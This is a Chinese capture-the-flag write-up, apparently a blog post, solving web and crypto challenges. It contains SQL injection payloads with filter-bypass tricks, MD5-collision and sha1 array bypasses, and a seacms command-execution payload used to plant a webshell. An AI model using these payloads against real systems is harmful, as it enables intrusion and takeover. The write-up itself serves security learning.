这次的比赛没来的及做,看了几道web就没做,难度一般,不过听说服务器很不稳定过程很坎坷,应该算是新生赛,有很多赛题之前做过类似的。服务器第二天就关闭了,时间很短暂,结束后尽快的做了一波。 web1题目地址:47.103.43.235:81/quest/web/a/index.php 根据题目是道注入题,and 1=1可正常回显,应该就是一道普通的字符注入题 有4列,可以构造1' union select 1,2,3,4# 也可以1' union select 1,2,3,'4,但--+注释测试不行。
然后可以依次注出库表和值 payload: 1' union select user(),version(),database(),4#
可看到数据库及版本号还有用户
因为根据以往做题经验,数据库里必有一个flag表,所以就不注了,猜了一下,直接出来了
flag-payload: 1' union select 1,2,flag,4 from flag# web2题目地址:47.103.43.235:82/web/a/index.php 这题做过一道类似的,因为限制2秒内,所以要用脚本直接跑出来
正则学的实在不好,用了bs4 import requestsimport refrom bs4 import BeautifulSoupurl='http://47.103.43.235:82/web/a/index.php's=requests.session()r=s.get(url)tbl_bf = BeautifulSoup(r.text,'html.parser')tbl=tbl_bf.find_all('p')t = re.sub('<p>|</p>',"",str(tbl[1]))d = { "result": eval(str(t))}r = s.post(url, data=d)print(t)print(r.text)web3 (47.103.43.235:85/a)题目地址: 47.103.43.235:81/quest/web/a/index.php 就一个界面什么也没有,看了下源代码 看到关键代码 if ((string)$_POST['paraml']!==(string)$_POST['param2']&&md5($_POST['paraml'])===md5($_POST['param2']))很熟悉的一道题,这题考的就是md5碰撞,强类型的话MD5就不能用数组绕过了,这题要求就是需要两个字符串值不同的MD5值相同的字符串。
这里用到了一个工具fastcoll_v1.0.0.5
先创建1.txt 和 2.txt
然后用fastcoll_v1.0.0.5 -i 1.txt 2.txt -o 3.txt 4.txt这条命令就可产生两个md5值相同的文件了。
post上传时要对字符串进行url编码。
工具连接:https://pan.baidu.com/s/1_bDnTy8_jMXGzpzJvl1g0A 不过网上也有现成的字符串,这里我直接找的现成的。
payload: param1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2¶m2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2web4题目地址:47.103.43.235:82/web/b/index.php 根据题目要输入账号密码,但不知道
查看源代码 有提示,下载下来phps文件 <?phperror_reporting(0);$flag = '********';if (isset($_POST['name']) and isset($_POST['password'])){ if ($_POST['name'] == $_POST['password']) print 'name and password must be diffirent'; else if (sha1($_POST['name']) === sha1($_POST['password'])) die($flag); else print 'invalid password';}?>分析代码逻辑,发现GET了两个字段name和password,获得flag要求的条件是:name != password & sha1(name) == sha1(password),可以利用sha1()函数的漏洞来绕过。如果把这两个字段构造为数组,如:?name[]=a&password[]=b,这样在第一处判断时两数组确实是不同的,但在第二处判断时由于sha1()函数无法处理数组类型,将报错并返回false,if 条件成立,获得flag。 web5题目地址:47.103.43.235:85/b/第一题_js?.txt 打开后一堆加密内容,看起来像base64, base64解密后是jsfuck,放控制台出flag。 web6题目地址:47.103.43.235:83/web/a/index.php?id===QM
打开后可以看出这应该是一道sql注入题,不过看id===QM可知很像逆序的base64,它应该是参数经base64后传进去的,QM==也就是1. 然后试下Mg==也就是id=2 果然可以,然后试下id=2-1,也是要经过base64然后逆序传入 发现可以,存在注入。 这里输入了id=select,可以看到报错引号内容为空,被过滤掉的都为空,经fuzz会发现and,select,空格等都被过滤掉了,这里通过报错注入可以注出,可以双写绕过,空格可以通过/**/取代。 0/**/anandd/**/1=extractvalue(1,concat(0x7e,(selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database())))#本来想试这个报错呢,等号也被过滤了 payload: 0/**/anandd/**/extractvalue(1,concat(0x7e,(seleselectct/**/concat(table_name)/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema/**/like/**/database()/**/limit/**/0,1)))#base64逆序后 jkSKpEDLw8iKq8Cdp1Was9iKq8SKoU2chJWY0FGZvoiKvU2apx2LqoyLh1WZoN2cfVGbiFGdvoiKvUmclh2dvoiKvMXZsJWY05SYtVGajN3Xu9Wa0FWbyJ3bvZmbp9iKq8SbvJnZvoiKvkSZtFmbfVGbiFGdoQXYj52bj9iKq8CdjR3YlxWZzVGblNHKsU2N4BDK0F2Yu92YsEDKlVHbhZHdjFmc0hXZvoiKvQGZuFmbh9iKq8CM这里写了个base64倒序的脚本 #!/usr/bin/python3#encoding:utf-8import base64str_encrypt=input("输入要加密的字符串:\n"); base64_encrypt = base64.b64encode(str_encrypt.encode('utf-8'))print("BASE64加密串:"+str(base64_encrypt,'utf-8'),end=' ')print("\n")A = ''for i in str(base64_encrypt): A = i + Aprint("base倒序字符串:"+A)根据这种可以爆出数据库最终爆出flag。 web7这题是利用的seacms的框架,百度可以搜到该cms的很多历史漏洞 payload:http://47.103.43.235:84/search.p ... &tid=&area=eval($_POST[muma])这里利用了该cms存在的一处命令执行漏洞。通过命令执行getshell。 crypto1题目地址:47.103.43.235:82/crypto/a/index.php 这题打开是一个base64加密,解密后还是base64,发现这是个base64嵌套,一直解下去
最终 应该是对字符串的移位,各种测试一番发现是栅栏密码 crypto2题目地址:47.103.43.235:82/crypto/b/index.php 这个也是对字符串的移位,根据ascii值进行移位, 因为格式为flag,所以前四位应该为flag,b到f隔4位,g到l隔5位,一次类推就能得到flag。
写个py跑也行 i=4m = "bg[`sZ*Zg'dPfP`VM_SXVd"for n in m: n = chr(ord(n) + i) print(n,end='') i=i+1crypto3题目地址:47.103.43.235:82/crypto/c/index.php
这题考的是希尔密码
加密矩阵: [[1,2,3], [4,5,6], [7,8,10]]
密文:xkmyqczdjajf
希尔密码是运用基本矩阵论原理的替换密码。每个字母当作26进制数字:A=0,B=1...一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果MOD 26。注意用作加密的矩阵(即密钥)必须是可逆的,否则就不可能译码。只有矩阵的行列式和26互质,才是可逆的。
希尔密码需要线代学的好,我线代,,就不提了,这题没写出脚本,太菜,手算可还行。想了解的可以自行百度了解
解密过程大致为:
例如:设分组长度n=2,密钥为:K={7,9;8,3} 密文:pqcfku
(1)将密文分为两两一组:pq,cf,ku (2)将密文字母转换为对应的编码:(15,16),(2,5),(10,20) (3)分别计算每一组密文对应的明文编码(K-1位K的逆矩阵) (15,16)*K-1 mod 26 =(5,17) (2,5) *K -1mod 26=(8,3) (10,20) *K-1 mod 26=(0,24)(4)将明文编码转换为明文字母,完成解密。 |